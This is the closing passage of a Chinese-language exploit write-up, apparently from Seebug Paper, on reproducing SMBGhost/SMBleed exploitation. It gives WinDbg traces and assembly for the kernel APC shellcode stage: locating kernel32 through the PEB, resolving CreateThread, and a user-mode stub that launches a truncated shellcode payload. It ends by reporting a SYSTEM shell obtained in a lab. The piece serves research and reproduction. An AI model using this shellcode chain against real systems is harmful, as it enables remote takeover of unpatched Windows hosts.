00000000`00bc0004 51              push    rcx
00000000`00bc0005 51              push    rcx
00000000`00bc0006 4989c9          mov     r9,rcx
00000000`00bc0009 4c8d050d000000  lea     r8,[00000000`00bc001d]
00000000`00bc0010 89ca            mov     edx,ecx
00000000`00bc0012 4883ec20        sub     rsp,20h
  • 查找kernel32模塊 思路是通過遍歷之前找到的"spoolsv.exe"的PEB結構中的Ldr->InMemoryOrderModuleList->Flink,找到kernel32模塊(unicode字符串特征比對)。 PEB偏移0x18為_PEB_LDR_DATA結構的Ldr ,其偏移0x20處為一個_LIST_ENTRY結構的InMemoryOrderModuleList,_LIST_ENTRY結構中包含flink和blink指針,通過遍歷flink指針可以查詢不同模塊的LDR_DATA_TABLE_ENTRY結構。
1: kd> dt _peb @rax
nt!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0 ''
   +0x003 BitField         : 0x4 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y0
   +0x004 Padding0         : [4]  ""
   +0x008 Mutant           : 0xffffffff`ffffffff Void
   +0x010 ImageBaseAddress : 0x00007ff7`94970000 Void
   +0x018 Ldr              : 0x00007fff`ea7a53c0 _PEB_LDR_DATA
   +0x020 ProcessParameters : 0x00000000`012c1bc0 _RTL_USER_PROCESS_PARAMETERS
   +0x028 SubSystemData    : (null) 
   +0x030 ProcessHeap      : 0x00000000`012c0000 Void
   ......
1: kd> dx -id 0,0,ffff818c698db380 -r1 ((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0)
((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0)                 : 0x7fffea7a53c0 [Type: _PEB_LDR_DATA *]
    [+0x000] Length           : 0x58 [Type: unsigned long]
    [+0x004] Initialized      : 0x1 [Type: unsigned char]
    [+0x008] SsHandle         : 0x0 [Type: void *]
    [+0x010] InLoadOrderModuleList [Type: _LIST_ENTRY]
    [+0x020] InMemoryOrderModuleList [Type: _LIST_ENTRY]
    [+0x030] InInitializationOrderModuleList [Type: _LIST_ENTRY]
    [+0x040] EntryInProgress  : 0x0 [Type: void *]
    [+0x048] ShutdownInProgress : 0x0 [Type: unsigned char]
    [+0x050] ShutdownThreadId : 0x0 [Type: void *]
1: kd> dx -id 0,0,ffff818c698db380 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0))
(*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0))                 [Type: _LIST_ENTRY]
    [+0x000] Flink            : 0x12c2580 [Type: _LIST_ENTRY *]
    [+0x008] Blink            : 0x1363920 [Type: _LIST_ENTRY *]

LDR_DATA_TABLE_ENTRY結構偏移0x30處為模塊基址,偏移0x58處為BaseDllName,其起始處為模塊名的unicode長度(兩個字節),偏移0x8處為該模塊的unicode字符串。通過長度和字符串這兩個特征可以定位kernel32模塊,并通過DllBase字段獲取基址。在實際操作中需要計算這些地址相對于InMemoryOrderLinks的偏移。

1: kd> dt _LDR_DATA_TABLE_ENTRY 0x12c2b00
nt!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`012c30f0 - 0x00000000`012c23e0 ]
   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`012c3100 - 0x00000000`012c23f0 ]
   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`012c45b0 - 0x00000000`012c3110 ]
   +0x030 DllBase          : 0x00007fff`e8ab0000 Void
   +0x038 EntryPoint       : 0x00007fff`e8ac7c70 Void
   +0x040 SizeOfImage      : 0xb2000
   +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
   +0x058 BaseDllName      : _UNICODE_STRING "KERNEL32.DLL"

1: kd> dx -id 0,0,ffff818c698db380 -r1 -nv (*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58))
(*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58))                 : "KERNEL32.DLL" [Type: _UNICODE_STRING]
    [+0x000] Length           : 0x18 [Type: unsigned short]
    [+0x002] MaximumLength    : 0x1a [Type: unsigned short]
    [+0x008] Buffer           : 0x12c2cb8 : "KERNEL32.DLL" [Type: wchar_t *]

然后在kernel32模塊的導出表中尋找CreateThread函數,然后將其保存至KernelApcRoutine函數的參數SystemArgument1中,傳送給userland_start_thread。

; save CreateThread address to SystemArgument1
mov [rbx], rax

kd> dq rbx l1
fffffe80`766458e0  00000000`00001000

kd> p
fffff780`00000aea 31c9            xor     ecx,ecx

kd> dq fffffe80`766458e0 l1
fffffe80`766458e0  00007ffa`d229a810

kd> u 7ffa`d229a810
KERNEL32!CreateThreadStub:
00007ffa`d229a810 4c8bdc          mov     r11,rsp
00007ffa`d229a813 4883ec48        sub     rsp,48h
00007ffa`d229a817 448b542470      mov     r10d,dword ptr [rsp+70h]
00007ffa`d229a81c 488b442478      mov     rax,qword ptr [rsp+78h]
00007ffa`d229a821 4181e204000100  and     r10d,10004h
00007ffa`d229a828 498943f0        mov     qword ptr [r11-10h],rax
00007ffa`d229a82c 498363e800      and     qword ptr [r11-18h],0
00007ffa`d229a831 458953e0        mov     dword ptr [r11-20h],r10d

然后將QUEUEING_KAPC置0,將IRQL 恢復至APC_LEVEL。

_kernel_kapc_routine_exit:
    xor ecx, ecx
    ; clear queueing kapc flag, allow other hijacked system call to run shellcode
    mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl
    ; restore IRQL to APC_LEVEL
    mov cl, 1
    mov cr8, rcx

用戶態Shellcode

最終成功運行到用戶模式Shellcode,用戶模式代碼包含userland_start_thread和功能Shellcode(userland_payload),在userland_start_thread中通過調用CreateThread函數去執行功能Shellcode。userland_payload這里不再介紹。

userland_start_thread:
    ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
    xchg rdx, rax   ; rdx is CreateThread address passed from kernel
    xor ecx, ecx    ; lpThreadAttributes = NULL
    push rcx        ; lpThreadId = NULL
    push rcx        ; dwCreationFlags = 0
    mov r9, rcx     ; lpParameter = NULL
    lea r8, [rel userland_payload]  ; lpStartAddr
    mov edx, ecx    ; dwStackSize = 0
    sub rsp, 0x20
    call rax
    add rsp, 0x30
    ret

userland_payload:
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52......"

kd> u r8
00000000`00bc001d fc              cld
00000000`00bc001e 4883e4f0        and     rsp,0FFFFFFFFFFFFFFF0h
00000000`00bc0022 e8c0000000      call    00000000`00bc00e7
00000000`00bc0027 4151            push    r9
00000000`00bc0029 4150            push    r8
00000000`00bc002b 52              push    rdx
00000000`00bc002c 51              push    rcx
00000000`00bc002d 56              push    rsi

總結~

本文對公開的關于 SMBGhost 和 SMBleed 漏洞的幾種利用思路進行跟進,逆向了一些關鍵結構和算法特性,最終在實驗環境下拿到了System Shell。非常感謝 blackwhite 和 zcgonvh 兩位師傅,在此期間給予的指導和幫助,希望有天能像他們一樣優秀。最后放上兩種利用思路的復現結果:

參考文獻


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1346/